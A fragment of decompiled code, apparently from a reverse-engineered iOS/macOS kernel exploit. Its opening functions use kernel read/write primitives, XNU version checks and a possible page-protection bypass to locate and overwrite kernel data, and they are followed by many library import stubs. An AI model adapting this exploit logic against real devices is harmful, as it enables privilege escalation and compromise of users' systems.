+ if ( v15 ) + goto LABEL_22; + } + } + return 0; +} +// 48940: using guessed type __int64 __chkstk_darwin(void); +// 48940: using guessed type __int64 __fastcall __chkstk_darwin(_QWORD, _QWORD); + +//----- (000000000004062C) ---------------------------------------------------- +__int64 __fastcall sub_4062C(struct_krwCtx *a1, __int64 a2) +{ + __int64 v2; // x19 + int v4; // w8 + unsigned __int64 v8; // x21 + unsigned __int64 v9; // x23 + unsigned __int64 v10; // x27 + __int64 v11; // x24 + __int64 v12; // x0 + unsigned __int64 v13; // x0 + __int64 v14; // x0 + unsigned __int64 v15; // x0 + int v16; // w22 + __int64 v18; // [xsp+8h] [xbp-78h] BYREF + unsigned __int64 v19; // [xsp+10h] [xbp-70h] + __int64 v20; // [xsp+18h] [xbp-68h] + __int64 v21; // [xsp+20h] [xbp-60h] BYREF + __int64 v22; // [xsp+28h] [xbp-58h] BYREF + + v2 = 708625; + v21 = 0; + if ( a1->someLargeNumber < 0x1C1B1914600000LL ) + return 708616; + v4 = a1->xnuMajorVersion; + if ( (unsigned int)(v4 - 8019) >= 2 && v4 != 8792 && v4 != 7195 ) + return 163884; + v8 = a2 + 40; + if ( !kread64_outptr(a1, a2 + 40, (unsigned __int64 *)&v22) ) + return 163855; + if ( v22 ) + { + if ( validate_addr((__int64)a1, v22) ) + return 0; + else + return 163878; + } + macho_getsectbyname("__DATA", a1->gap1921[2], "__data", &v18); + v9 = v19; + if ( !v19 || !v20 ) + return 163855; + v10 = v19 + v20 - 256; + if ( v19 < v10 ) + { + v11 = v18; + while ( 1 ) + { + v12 = sub_19B94(v11, v9); + v13 = sub_29CB0(a1, v12); + if ( validate_addr_maybe2(a1, v13) ) + { + if ( !sub_19B94(v11, v9 + 8) && sub_19B94(v11, v9 + 16) == 10 ) + { + if ( sub_19B94(v11, v9 + 24) ) + { + v14 = sub_19B94(v11, v9 + 32); + v15 = sub_29CB0(a1, v14); + if ( validate_addr_maybe2(a1, v15) ) + break; + } + } + } + v9 += a1->int168; + if ( v9 >= v10 ) + return v2; + } + if ( v9 ) + { + if ( !noppl_kwrite32((__int64)a1, a2 + 136, 0x10000) + || !(unsigned int)kwritebuf_last_1((__int64)a1, v9 + 24, (__int64)&v21, 8) ) + { + return 163856; + } + v16 = 20; + v2 = 708619; + while ( 1 ) + { + sub_2AABC((__int64)a1, 0x3D090u); + if ( !kread64_outptr(a1, v8, (unsigned __int64 *)&v22) ) + break; + if ( v22 ) + return 0; + if ( !--v16 ) + return v2; + } + return 163855; + } + } + return v2; +} +// 19B94: using guessed type __int64 __fastcall sub_19B94(_QWORD, _QWORD); + +//----- (000000000004087C) ---------------------------------------------------- +__int64 __fastcall sub_4087C( + struct_krwCtx *a1, + __int64 a2, + mach_vm_size_t a3, + unsigned __int64 a4, + __int64 (__fastcall *a5)(__int64, __int64), + __int64 a6) +{ + unsigned int v11; // w26 + __int64 v12; // x25 + __int64 v13; // x8 + __int64 v14; // x24 + unsigned __int64 v15; // x8 + __int64 v16; // x9 + unsigned __int64 v17; // x15 + unsigned __int64 v18; // x16 + unsigned __int64 v19; // x17 + unsigned __int64 v20; // x8 + bool v21; // cc + int v22; // w0 + int v23; // w22 + int v24; // w8 + __int64 v25; // x0 + unsigned int v26; // w9 + __int64 v27; // x8 + int v28; // w22 + unsigned __int64 v29; // x1 + unsigned int v31; // [xsp+Ch] [xbp-184h] BYREF + unsigned __int64 v32; // [xsp+10h] [xbp-180h] BYREF + __int64 v33; // [xsp+18h] [xbp-178h] BYREF + unsigned __int64 v34; // [xsp+20h] [xbp-170h] BYREF + unsigned int v35; // [xsp+28h] [xbp-168h] BYREF + int v36; // [xsp+2Ch] [xbp-164h] BYREF + _OWORD v37[16]; // [xsp+30h] [xbp-160h] BYREF + + v36 = -1; + v34 = 0; + LOWORD(v11) = -1; + v12 = 163855; + memset(v37, 0, sizeof(v37)); + v13 = 32; + if ( a1->someLargeNumber > 0x1C1B19145FFFFFLL ) + v13 = 40; + if ( !kread64_outptr(a1, v13 + a2, (unsigned __int64 *)&v33) ) + { + v14 = 163855; + goto LABEL_56; + } + if ( !validate_addr((__int64)a1, v33) ) + goto LABEL_13; + if ( (unsigned int)(a3 - 1) > 0xFF ) + { + v14 = 163857; + goto LABEL_56; + } + v15 = a1->someLargeNumber; + if ( v15 <= 0x1C1B19145FFFFFLL ) + { + v20 = a4 | 1; + } + else + { + v16 = 0; + v17 = a4; + v18 = a4; + v19 = a4; + while ( (a1->qword188 & v19) != 0 ) + { + v19 -= (unsigned int)a3; + v18 += 1LL - (unsigned int)a3; + v17 += 4LL - (unsigned int)a3; + if ( (_DWORD)++v16 == 1024 ) + { + v32 = a4 - ((unsigned __int64)(unsigned int)a3 << 10); +LABEL_13: + v14 = 163878; + goto LABEL_56; + } + } + v21 = v15 > 0x1F52FFFFFFFFFFLL; + v20 = v17 | 1; + if ( v21 ) + v20 = v18; + } + v32 = v20; + v14 = fd_open_dev_null(&v36); + if ( (_DWORD)v14 ) + goto LABEL_56; + if ( !kwritebuf_last_0((__int64)a1, a4, v37, a3) ) + goto LABEL_55; + v22 = sub_1F190(); + if ( a1->someLargeNumber <= 0x1C1B19145FFFFFLL ) + { + if ( !kreadbuf_last_0((__int64)a1, v33 + (unsigned int)(a1->pageSizeOrSomething * v22), a1->int168, &v34) ) + goto LABEL_50; + if ( !validate_addr((__int64)a1, v34) ) + { +LABEL_49: + v12 = 163878; + goto LABEL_50; + } + while ( 1 ) + { + while ( 1 ) + { + v28 = sub_1F190(); + if ( !kreadbuf_last_0((__int64)a1, v33 + (unsigned int)(a1->pageSizeOrSomething * v28), 4u, &v35) ) + goto LABEL_50; + v34 = v35 | ((unsigned __int64)HIDWORD(v34) << 32); + if ( !kreadbuf_last_0((__int64)a1, v34, 4u, &v31) ) + goto LABEL_50; + if ( !v31 ) + break; + if ( v31 > 8 ) + { +LABEL_51: + v12 = 163857; + goto LABEL_50; + } + if ( (unsigned int)sub_1F190() == v28 ) + { + v29 = v34 + (v31 - 1) * a1->int168 + 8; + goto LABEL_53; + } + } + if ( a5 ) + { + v25 = a5((__int64)a1, a6); + if ( (_DWORD)v25 ) + break; + } + } +LABEL_48: + v12 = v25; +LABEL_50: + v14 = v12; + goto LABEL_56; + } + if ( !kreadbuf_last_0((__int64)a1, v33 + (unsigned int)(a1->pageSizeOrSomething * v22) + 8, a1->int168, &v34) ) + goto LABEL_50; + if ( !validate_addr((__int64)a1, v34) ) + goto LABEL_49; + v23 = sub_1F190(); + if ( !kreadbuf_last_0((__int64)a1, v33 + (unsigned int)(a1->pageSizeOrSomething * v23), 4u, &v31) ) + goto LABEL_50; + while ( 1 ) + { + v24 = (unsigned __int16)v31; + if ( !(_WORD)v31 ) + { + v11 = HIWORD(v31); + if ( !HIWORD(v31) ) + { + if ( a5 ) + { + v25 = a5((__int64)a1, a6); + if ( (_DWORD)v25 ) + goto LABEL_48; + } + goto LABEL_36; + } + } + v26 = (unsigned __int16)v11; + if ( (_WORD)v31 ) + v26 = (unsigned __int16)v31; + v31 = v26; + if ( v26 - 1 > 7 ) + goto LABEL_51; + if ( v24 ) + v27 = 8; + else + v27 = 16; + if ( !kreadbuf_last_0((__int64)a1, v33 + v27 + (unsigned int)(a1->pageSizeOrSomething * v23), 4u, &v35) ) + goto LABEL_50; + LODWORD(v34) = v35; + if ( (unsigned int)sub_1F190() == v23 ) + break; +LABEL_36: + v23 = sub_1F190(); + if ( !kreadbuf_last_0((__int64)a1, v33 + (unsigned int)(a1->pageSizeOrSomething * v23), 4u, &v31) ) + goto LABEL_50; + } + v29 = v34 + (v31 - 1) * a1->int168; +LABEL_53: + if ( kwritebuf_last_0((__int64)a1, v29, &v32, 4u) ) + { + v14 = 0; + goto LABEL_56; + } +LABEL_55: + v14 = 163856; +LABEL_56: + if ( v36 != -1 ) + fd_close(v36); + return v14; +} + +//----- (0000000000040CBC) ---------------------------------------------------- +__int64 __fastcall sub_40CBC( + struct_krwCtx *a1, + __int64 a2, + unsigned int a3, + __int64 *a4, + __int64 (__fastcall *a5)(__int64, __int64), + __int64 a6) +{ + __int64 v11; // x25 + __int64 v12; // x8 + __int64 v13; // x23 + int v14; // w0 + int v15; // w23 + unsigned int v16; // w28 + int v17; // w26 + unsigned int v18; // w8 + __int64 v19; // x0 + __int64 v20; // x27 + __int64 v21; // x10 + unsigned __int16 v22; // w8 + unsigned int v23; // w9 + unsigned int v25; // [xsp+Ch] [xbp-74h] BYREF + __int64 v26; // [xsp+10h] [xbp-70h] BYREF + __int64 v27; // [xsp+18h] [xbp-68h] BYREF + unsigned __int64 v28; // [xsp+20h] [xbp-60h] BYREF + unsigned int v29; // [xsp+28h] [xbp-58h] BYREF + int v30; // [xsp+2Ch] [xbp-54h] BYREF + + v11 = 163855; + v30 = -1; + v28 = 0; + v12 = 32; + if ( a1->someLargeNumber > 0x1C1B19145FFFFFLL ) + v12 = 40; + if ( !kread64_outptr(a1, v12 + a2, (unsigned __int64 *)&v27) ) + { + v13 = 163855; + goto LABEL_32; + } + if ( !validate_addr((__int64)a1, v27) ) + { + v13 = 163878; + goto LABEL_32; + } + v13 = fd_open_dev_null(&v30); + if ( (_DWORD)v13 ) + goto LABEL_32; + v14 = sub_1F190(); + if ( a1->someLargeNumber <= 0x1C1B19145FFFFFLL ) + { + v13 = 708616; + goto LABEL_32; + } + if ( !kreadbuf_last_0((__int64)a1, v27 + (unsigned int)(a1->pageSizeOrSomething * v14) + 8, a1->int168, &v28) ) + goto LABEL_31; + if ( !validate_addr((__int64)a1, v28) ) + { + v11 = 163878; + goto LABEL_31; + } + v15 = sub_1F190(); + if ( !kreadbuf_last_0((__int64)a1, v27 + (unsigned int)(a1->pageSizeOrSomething * v15), 4u, &v25) ) + { +LABEL_31: + v13 = v11; + goto LABEL_32; + } + while ( 1 ) + { + v16 = v25; + v17 = (unsigned __int16)v25; + v18 = (unsigned __int16)v25; + if ( !(_WORD)v25 ) + { + if ( v25 < 0x10000 ) + { + if ( a5 ) + { + v19 = a5((__int64)a1, a6); + if ( (_DWORD)v19 ) + { + v11 = v19; + goto LABEL_31; + } + } + goto LABEL_25; + } + v18 = HIWORD(v25); + } + v20 = v18 - 1LL; + if ( (unsigned int)v20 > 7 ) + { + v11 = 163857; + goto LABEL_31; + } + v21 = 8; + if ( !(_WORD)v25 ) + v21 = 16; + if ( !kreadbuf_last_0((__int64)a1, v27 + v21 + (unsigned int)(a1->pageSizeOrSomething * v15), 4u, &v29) ) + goto LABEL_31; + v28 = v29 | ((unsigned __int64)HIDWORD(v28) << 32); + v26 = 0; + if ( !kreadbuf_last_0((__int64)a1, v28 + a1->int168 * v20, a1->int168, &v26) ) + goto LABEL_31; + if ( validate_addr((__int64)a1, v26 & ~a1->qword188) ) + { + v26 = (v26 & ~a1->qword188) + (a1->qword188 & v26) * a3; + v22 = v16 - 1; + v23 = v16 & 0xFFFF0000; + if ( !v17 ) + { + v22 = v16; + v23 = (v16 & 0xFFFF0000) - 0x10000; + } + v25 = v23 & 0xFFFF0000 | v22; + if ( (unsigned int)sub_1F190() == v15 ) + break; + } +LABEL_25: + v15 = sub_1F190(); + if ( !kreadbuf_last_0((__int64)a1, v27 + (unsigned int)(a1->pageSizeOrSomething * v15), 4u, &v25) ) + goto LABEL_31; + } + if ( !kwritebuf_last_0((__int64)a1, v27 + (unsigned int)(a1->pageSizeOrSomething * v15), &v25, 4u) ) + { + v11 = 163856; + goto LABEL_31; + } + v13 = 0; + *a4 = v26; +LABEL_32: + if ( v30 != -1 ) + fd_close(v30); + return v13; +} + +//----- (0000000000040FB0) ---------------------------------------------------- +__int64 __fastcall sub_40FB0(__int64 a1, __int64 a2, __int64 a3) +{ + return syscall(381, a1, a2, a3); +} + +//----- (0000000000040FDC) ---------------------------------------------------- +__int64 __fastcall sub_40FDC(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5) +{ + return syscall(461, a1, a2, a3, a4, a5); +} + +//----- (000000000004100C) ---------------------------------------------------- +__int64 __fastcall sub_4100C(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6) +{ + return syscall(518, a1, a2, a3, a4, a5, a6); +} + +//----- (0000000000041040) ---------------------------------------------------- +unsigned __int64 sub_41040() +{ + return *(unsigned __int64 *)((char *)&__get_cpu_capabilities + 12) & 0xFFFFFFFFFFFFFF00LL; +} +// 483C0: using guessed type __int64 __get_cpu_capabilities(void); +#if 0 +//----- (000000000004106C) ---------------------------------------------------- +int __cdecl CC_SHA1_Final(unsigned __int8 *md, CC_SHA1_CTX *c) +{ + return _CC_SHA1_Final(md, c); +} + +//----- (000000000004107C) ---------------------------------------------------- +int __cdecl CC_SHA1_Init(CC_SHA1_CTX *c) +{ + return _CC_SHA1_Init(c); +} + +//----- (000000000004108C) ---------------------------------------------------- +int __cdecl CC_SHA1_Update(CC_SHA1_CTX *c, const void *data, CC_LONG len) +{ + return _CC_SHA1_Update(c, data, len); +} + +//----- (000000000004109C) ---------------------------------------------------- +int __cdecl CC_SHA256_Final(unsigned __int8 *md, CC_SHA256_CTX *c) +{ + return _CC_SHA256_Final(md, c); +} + +//----- (00000000000410AC) ---------------------------------------------------- +int __cdecl CC_SHA256_Init(CC_SHA256_CTX *c) +{ + return _CC_SHA256_Init(c); +} + +//----- (00000000000410BC) ---------------------------------------------------- +int __cdecl CC_SHA256_Update(CC_SHA256_CTX *c, const void *data, CC_LONG len) +{ + return _CC_SHA256_Update(c, data, len); +} + +//----- (00000000000410CC) ---------------------------------------------------- +int __cdecl CC_SHA384_Final(unsigned __int8 *md, CC_SHA512_CTX *c) +{ + return _CC_SHA384_Final(md, c); +} + +//----- (00000000000410DC) ---------------------------------------------------- +int __cdecl CC_SHA384_Init(CC_SHA512_CTX *c) +{ + return _CC_SHA384_Init(c); +} + +//----- (00000000000410EC) ---------------------------------------------------- +int __cdecl CC_SHA384_Update(CC_SHA512_CTX *c, const void *data, CC_LONG len) +{ + return _CC_SHA384_Update(c, data, len); +} + +//----- (00000000000410FC) ---------------------------------------------------- +void __cdecl CFArrayAppendValue(CFMutableArrayRef theArray, const void *value) +{ + _CFArrayAppendValue(theArray, value); +} + +//----- (000000000004110C) ---------------------------------------------------- +void __cdecl CFArrayApplyFunction(CFArrayRef theArray, CFRange range, CFArrayApplierFunction applier, void *context) +{ + _CFArrayApplyFunction(theArray, range, applier, context); +} + +//----- (000000000004111C) ---------------------------------------------------- +Boolean __cdecl CFArrayContainsValue(CFArrayRef theArray, CFRange range, const void *value) +{ + return _CFArrayContainsValue(theArray, range, value); +} + +//----- (000000000004112C) ---------------------------------------------------- +CFIndex __cdecl CFArrayGetCount(CFArrayRef theArray) +{ + return _CFArrayGetCount(theArray); +} + +//----- (000000000004113C) ---------------------------------------------------- +CFTypeID CFArrayGetTypeID(void) +{ + return _CFArrayGetTypeID(); +} + +//----- (000000000004114C) ---------------------------------------------------- +CFTypeID CFBooleanGetTypeID(void) +{ + return _CFBooleanGetTypeID(); +} + +//----- (000000000004115C) ---------------------------------------------------- +CFDataRef __cdecl CFDataCreate(CFAllocatorRef allocator, const UInt8 *bytes, CFIndex length) +{ + return _CFDataCreate(allocator, bytes, length); +} + +//----- (000000000004116C) ---------------------------------------------------- +CFDataRef __cdecl CFDataCreateWithBytesNoCopy( + CFAllocatorRef allocator, + const UInt8 *bytes, + CFIndex length, + CFAllocatorRef bytesDeallocator) +{ + return _CFDataCreateWithBytesNoCopy(allocator, bytes, length, bytesDeallocator); +} + +//----- (000000000004117C) ---------------------------------------------------- +const UInt8 *__cdecl CFDataGetBytePtr(CFDataRef theData) +{ + return _CFDataGetBytePtr(theData); +} + +//----- (000000000004118C) ---------------------------------------------------- +CFIndex __cdecl CFDataGetLength(CFDataRef theData) +{ + return _CFDataGetLength(theData); +} + +//----- (000000000004119C) ---------------------------------------------------- +CFTypeID CFDataGetTypeID(void) +{ + return _CFDataGetTypeID(); +} + +//----- (00000000000411AC) ---------------------------------------------------- +void __cdecl CFDictionaryAddValue(CFMutableDictionaryRef theDict, const void *key, const void *value) +{ + _CFDictionaryAddValue(theDict, key, value); +} + +//----- (00000000000411BC) ---------------------------------------------------- +void __cdecl CFDictionaryApplyFunction(CFDictionaryRef theDict, CFDictionaryApplierFunction applier, void *context) +{ + _CFDictionaryApplyFunction(theDict, applier, context); +} + +//----- (00000000000411CC) ---------------------------------------------------- +CFMutableDictionaryRef __cdecl CFDictionaryCreateMutable( + CFAllocatorRef allocator, + CFIndex capacity, + const CFDictionaryKeyCallBacks *keyCallBacks, + const CFDictionaryValueCallBacks *valueCallBacks) +{ + return _CFDictionaryCreateMutable(allocator, capacity, keyCallBacks, valueCallBacks); +} + +//----- (00000000000411DC) ---------------------------------------------------- +CFMutableDictionaryRef __cdecl CFDictionaryCreateMutableCopy( + CFAllocatorRef allocator, + CFIndex capacity, + CFDictionaryRef theDict) +{ + return _CFDictionaryCreateMutableCopy(allocator, capacity, theDict); +} + +//----- (00000000000411EC) ---------------------------------------------------- +CFTypeID CFDictionaryGetTypeID(void) +{ + return _CFDictionaryGetTypeID(); +} + +//----- (00000000000411FC) ---------------------------------------------------- +Boolean __cdecl CFDictionaryGetValueIfPresent(CFDictionaryRef theDict, const void *key, const void **value) +{ + return _CFDictionaryGetValueIfPresent(theDict, key, value); +} + +//----- (000000000004120C) ---------------------------------------------------- +void __cdecl CFDictionarySetValue(CFMutableDictionaryRef theDict, const void *key, const void *value) +{ + _CFDictionarySetValue(theDict, key, value); +} + +//----- (000000000004121C) ---------------------------------------------------- +Boolean __cdecl CFEqual(CFTypeRef cf1, CFTypeRef cf2) +{ + return _CFEqual(cf1, cf2); +} + +//----- (000000000004122C) ---------------------------------------------------- +CFTypeID __cdecl CFGetTypeID(CFTypeRef cf) +{ + return _CFGetTypeID(cf); +} + +//----- (000000000004123C) ---------------------------------------------------- +CFNumberRef __cdecl CFNumberCreate(CFAllocatorRef allocator, CFNumberType theType, const void *valuePtr) +{ + return _CFNumberCreate(allocator, theType, valuePtr); +} + +//----- (000000000004124C) ---------------------------------------------------- +CFTypeID CFNumberGetTypeID(void) +{ + return _CFNumberGetTypeID(); +} + +//----- (000000000004125C) ---------------------------------------------------- +Boolean __cdecl CFNumberGetValue(CFNumberRef number, CFNumberType theType, void *valuePtr) +{ + return _CFNumberGetValue(number, theType, valuePtr); +} + +//----- (000000000004126C) ---------------------------------------------------- +CFDataRef __cdecl CFPropertyListCreateData( + CFAllocatorRef allocator, + CFPropertyListRef propertyList, + CFPropertyListFormat format, + CFOptionFlags options, + CFErrorRef *error) +{ + return _CFPropertyListCreateData(allocator, propertyList, format, options, error); +} + +//----- (000000000004127C) ---------------------------------------------------- +CFPropertyListRef __cdecl CFPropertyListCreateWithData( + CFAllocatorRef allocator, + CFDataRef data, + CFOptionFlags options, + CFPropertyListFormat *format, + CFErrorRef *error) +{ + return _CFPropertyListCreateWithData(allocator, data, options, format, error); +} + +//----- (000000000004128C) ---------------------------------------------------- +CFPropertyListRef __cdecl CFPropertyListCreateWithStream( + CFAllocatorRef allocator, + CFReadStreamRef stream, + CFIndex streamLength, + CFOptionFlags options, + CFPropertyListFormat *format, + CFErrorRef *error) +{ + return _CFPropertyListCreateWithStream(allocator, stream, streamLength, options, format, error); +} + +//----- (000000000004129C) ---------------------------------------------------- +void __cdecl CFReadStreamClose(CFReadStreamRef stream) +{ + _CFReadStreamClose(stream); +} + +//----- (00000000000412AC) ---------------------------------------------------- +CFReadStreamRef __cdecl CFReadStreamCreateWithBytesNoCopy( + CFAllocatorRef alloc, + const UInt8 *bytes, + CFIndex length, + CFAllocatorRef bytesDeallocator) +{ + return _CFReadStreamCreateWithBytesNoCopy(alloc, bytes, length, bytesDeallocator); +} + +//----- (00000000000412BC) ---------------------------------------------------- +Boolean __cdecl CFReadStreamOpen(CFReadStreamRef stream) +{ + return _CFReadStreamOpen(stream); +} + +//----- (00000000000412CC) ---------------------------------------------------- +void __cdecl CFRelease(CFTypeRef cf) +{ + _CFRelease(cf); +} + +//----- (00000000000412DC) ---------------------------------------------------- +void __cdecl CFRunLoopAddSource(CFRunLoopRef rl, CFRunLoopSourceRef source, CFRunLoopMode mode) +{ + _CFRunLoopAddSource(rl, source, mode); +} + +//----- (00000000000412EC) ---------------------------------------------------- +CFRunLoopRef CFRunLoopGetCurrent(void) +{ + return _CFRunLoopGetCurrent(); +} + +//----- (00000000000412FC) ---------------------------------------------------- +void __cdecl CFRunLoopRemoveSource(CFRunLoopRef rl, CFRunLoopSourceRef source, CFRunLoopMode mode) +{ + _CFRunLoopRemoveSource(rl, source, mode); +} + +//----- (000000000004130C) ---------------------------------------------------- +CFRunLoopRunResult __cdecl CFRunLoopRunInMode( + CFRunLoopMode mode, + CFTimeInterval seconds, + Boolean returnAfterSourceHandled) +{ + return _CFRunLoopRunInMode(mode, seconds, returnAfterSourceHandled); +} + +//----- (000000000004131C) ---------------------------------------------------- +CFStringRef __cdecl CFStringCreateWithCString(CFAllocatorRef alloc, const char *cStr, CFStringEncoding encoding) +{ + return _CFStringCreateWithCString(alloc, cStr, encoding); +} + +//----- (000000000004132C) ---------------------------------------------------- +Boolean __cdecl CFStringGetCString(CFStringRef theString, char *buffer, CFIndex bufferSize, CFStringEncoding encoding) +{ + return _CFStringGetCString(theString, buffer, bufferSize, encoding); +} + +//----- (000000000004133C) ---------------------------------------------------- +CFStringEncoding CFStringGetSystemEncoding(void) +{ + return _CFStringGetSystemEncoding(); +} + +//----- (000000000004134C) ---------------------------------------------------- +CFTypeID CFStringGetTypeID(void) +{ + return _CFStringGetTypeID(); +} + +//----- (000000000004135C) ---------------------------------------------------- +Boolean __cdecl CFStringHasPrefix(CFStringRef theString, CFStringRef prefix) +{ + return _CFStringHasPrefix(theString, prefix); +} + +//----- (000000000004136C) ---------------------------------------------------- +CFDataRef __cdecl IOCFSerialize(CFTypeRef object, CFOptionFlags options) +{ + return _IOCFSerialize(object, options); +} + +//----- (000000000004137C) ---------------------------------------------------- +kern_return_t __cdecl IOConnectCallMethod( + mach_port_t connection, + uint32_t selector, + const uint64_t *input, + uint32_t inputCnt, + const void *inputStruct, + size_t inputStructCnt, + uint64_t *output, + uint32_t *outputCnt, + void *outputStruct, + size_t *outputStructCnt) +{ + return _IOConnectCallMethod( + connection, + selector, + input, + inputCnt, + inputStruct, + inputStructCnt, + output, + outputCnt, + outputStruct, + outputStructCnt); +} + +//----- (000000000004138C) ---------------------------------------------------- +kern_return_t __cdecl IOConnectCallScalarMethod( + mach_port_t connection, + uint32_t selector, + const uint64_t *input, + uint32_t inputCnt, + uint64_t *output, + uint32_t *outputCnt) +{ + return _IOConnectCallScalarMethod(connection, selector, input, inputCnt, output, outputCnt); +} + +//----- (000000000004139C) ---------------------------------------------------- +kern_return_t __cdecl IOConnectCallStructMethod( + mach_port_t connection, + uint32_t selector, + const void *inputStruct, + size_t inputStructCnt, + void *outputStruct, + size_t *outputStructCnt) +{ + return _IOConnectCallStructMethod(connection, selector, inputStruct, inputStructCnt, outputStruct, outputStructCnt); +} + +//----- (00000000000413AC) ---------------------------------------------------- +kern_return_t __cdecl IOConnectTrap4( + io_connect_t connect, + uint32_t index, + uintptr_t p1, + uintptr_t p2, + uintptr_t p3, + uintptr_t p4) +{ + return _IOConnectTrap4(connect, index, p1, p2, p3, p4); +} + +//----- (00000000000413BC) ---------------------------------------------------- +kern_return_t __cdecl IOConnectTrap6( + io_connect_t connect, + uint32_t index, + uintptr_t p1, + uintptr_t p2, + uintptr_t p3, + uintptr_t p4, + uintptr_t p5, + uintptr_t p6) +{ + return _IOConnectTrap6(connect, index, p1, p2, p3, p4, p5, p6); +} + +//----- (00000000000413CC) ---------------------------------------------------- +io_object_t __cdecl IOIteratorNext(io_iterator_t iterator) +{ + return _IOIteratorNext(iterator); +} + +//----- (00000000000413DC) ---------------------------------------------------- +IONotificationPortRef __cdecl IONotificationPortCreate(mach_port_t masterPort) +{ + return _IONotificationPortCreate(masterPort); +} + +//----- (00000000000413EC) ---------------------------------------------------- +void __cdecl IONotificationPortDestroy(IONotificationPortRef notify) +{ + _IONotificationPortDestroy(notify); +} + +//----- (00000000000413FC) ---------------------------------------------------- +CFRunLoopSourceRef __cdecl IONotificationPortGetRunLoopSource(IONotificationPortRef notify) +{ + return _IONotificationPortGetRunLoopSource(notify); +} + +//----- (000000000004140C) ---------------------------------------------------- +kern_return_t __cdecl IOObjectRelease(io_object_t object) +{ + return _IOObjectRelease(object); +} + +//----- (000000000004141C) ---------------------------------------------------- +kern_return_t __cdecl IORegistryEntryCreateCFProperties( + io_registry_entry_t entry, + CFMutableDictionaryRef *properties, + CFAllocatorRef allocator, + IOOptionBits options) +{ + return _IORegistryEntryCreateCFProperties(entry, properties, allocator, options); +} + +//----- (000000000004142C) ---------------------------------------------------- +CFTypeRef __cdecl IORegistryEntryCreateCFProperty( + io_registry_entry_t entry, + CFStringRef key, + CFAllocatorRef allocator, + IOOptionBits options) +{ + return _IORegistryEntryCreateCFProperty(entry, key, allocator, options); +} + +//----- (000000000004143C) ---------------------------------------------------- +io_registry_entry_t __cdecl IORegistryEntryFromPath(mach_port_t masterPort, const io_string_t path) +{ + return _IORegistryEntryFromPath(masterPort, path); +} + +//----- (000000000004144C) ---------------------------------------------------- +kern_return_t __cdecl IORegistryEntryGetChildIterator( + io_registry_entry_t entry, + const io_name_t plane, + io_iterator_t *iterator) +{ + return _IORegistryEntryGetChildIterator(entry, plane, iterator); +} + +//----- (000000000004145C) ---------------------------------------------------- +CFTypeRef __cdecl IORegistryEntrySearchCFProperty( + io_registry_entry_t entry, + const io_name_t plane, + CFStringRef key, + CFAllocatorRef allocator, + IOOptionBits options) +{ + return _IORegistryEntrySearchCFProperty(entry, plane, key, allocator, options); +} + +//----- (000000000004146C) ---------------------------------------------------- +kern_return_t __cdecl IOServiceAddMatchingNotification( + IONotificationPortRef notifyPort, + const io_name_t notificationType, + CFDictionaryRef matching, + IOServiceMatchingCallback callback, + void *refCon, + io_iterator_t *notification) +{ + return _IOServiceAddMatchingNotification(notifyPort, notificationType, matching, callback, refCon, notification); +} + +//----- (000000000004147C) ---------------------------------------------------- +kern_return_t __cdecl IOServiceClose(io_connect_t connect) +{ + return _IOServiceClose(connect); +} + +//----- (000000000004148C) ---------------------------------------------------- +io_service_t __cdecl IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching) +{ + return _IOServiceGetMatchingService(masterPort, matching); +} + +//----- (000000000004149C) ---------------------------------------------------- +CFMutableDictionaryRef __cdecl IOServiceMatching(const char *name) +{ + return _IOServiceMatching(name); +} + +//----- (00000000000414AC) ---------------------------------------------------- +kern_return_t __cdecl IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *connect) +{ + return _IOServiceOpen(service, owningTask, type, connect); +} + +//----- (00000000000414BC) ---------------------------------------------------- +kern_return_t __cdecl IOServiceWaitQuiet(io_service_t service, mach_timespec_t *waitTime) +{ + return _IOServiceWaitQuiet(service, waitTime); +} + +//----- (00000000000414CC) ---------------------------------------------------- +__int64 _CFProcessPath() +{ + return __CFProcessPath(); +} +// 48238: using guessed type __int64 __CFProcessPath(void); + +//----- (00000000000414DC) ---------------------------------------------------- +__int64 _IOServiceSetAuthorizationID() +{ + return __IOServiceSetAuthorizationID(); +} +// 48328: using guessed type __int64 __IOServiceSetAuthorizationID(void); + +//----- (00000000000414EC) ---------------------------------------------------- +int *__error(void) +{ + return ___error(); +} + +//----- (00000000000414FC) ---------------------------------------------------- +__int64 __memcpy_chk() +{ + return ___memcpy_chk(); +} +// 48388: using guessed type __int64 ___memcpy_chk(void); + +//----- (000000000004150C) ---------------------------------------------------- +__int64 __memset_chk() +{ + return ___memset_chk(); +} +// 48390: using guessed type __int64 ___memset_chk(void); + +//----- (000000000004151C) ---------------------------------------------------- +__int64 __semwait_signal() +{ + return ___semwait_signal(); +} +// 48398: using guessed type __int64 ___semwait_signal(void); + +//----- (000000000004153C) ---------------------------------------------------- +__int64 __strlcpy_chk() +{ + return ___strlcpy_chk(); +} +// 483A8: using guessed type __int64 ___strlcpy_chk(void); + +//----- (000000000004154C) ---------------------------------------------------- +__int64 __ulock_wait() +{ + return ___ulock_wait(); +} +// 483B0: using guessed type __int64 ___ulock_wait(void); + +//----- (000000000004155C) ---------------------------------------------------- +__int64 __ulock_wake() +{ + return ___ulock_wake(); +} +// 483B8: using guessed type __int64 ___ulock_wake(void); + +//----- (000000000004156C) ---------------------------------------------------- +__int64 _get_cpu_capabilities() +{ + return __get_cpu_capabilities(); +} +// 483C0: using guessed type __int64 __get_cpu_capabilities(void); + +//----- (000000000004157C) ---------------------------------------------------- +__int64 _os_alloc_once() +{ + return __os_alloc_once(); +} +// 483C8: using guessed type __int64 __os_alloc_once(void); + +//----- (000000000004158C) ---------------------------------------------------- +void __cdecl arc4random_buf(void *__buf, size_t __nbytes) +{ + _arc4random_buf(__buf, __nbytes); +} + +//----- (000000000004159C) ---------------------------------------------------- +void __cdecl bzero(void *a1, size_t a2) +{ + _bzero(a1, a2); +} + +//----- (00000000000415AC) ---------------------------------------------------- +void *__cdecl calloc(size_t __count, size_t __size) +{ + return _calloc(__count, __size); +} + +//----- (00000000000415BC) ---------------------------------------------------- +int __cdecl chown(const char *a1, uid_t a2, gid_t a3) +{ + return _chown(a1, a2, a3); +} + +//----- (00000000000415CC) ---------------------------------------------------- +int __cdecl close(int a1) +{ + return _close(a1); +} + +//----- (00000000000415DC) ---------------------------------------------------- +int __cdecl connect(int a1, const sockaddr *a2, socklen_t a3) +{ + return _connect(a1, a2, a3); +} + +//----- (00000000000415EC) ---------------------------------------------------- +int __cdecl dlclose(void *__handle) +{ + return _dlclose(__handle); +} + +//----- 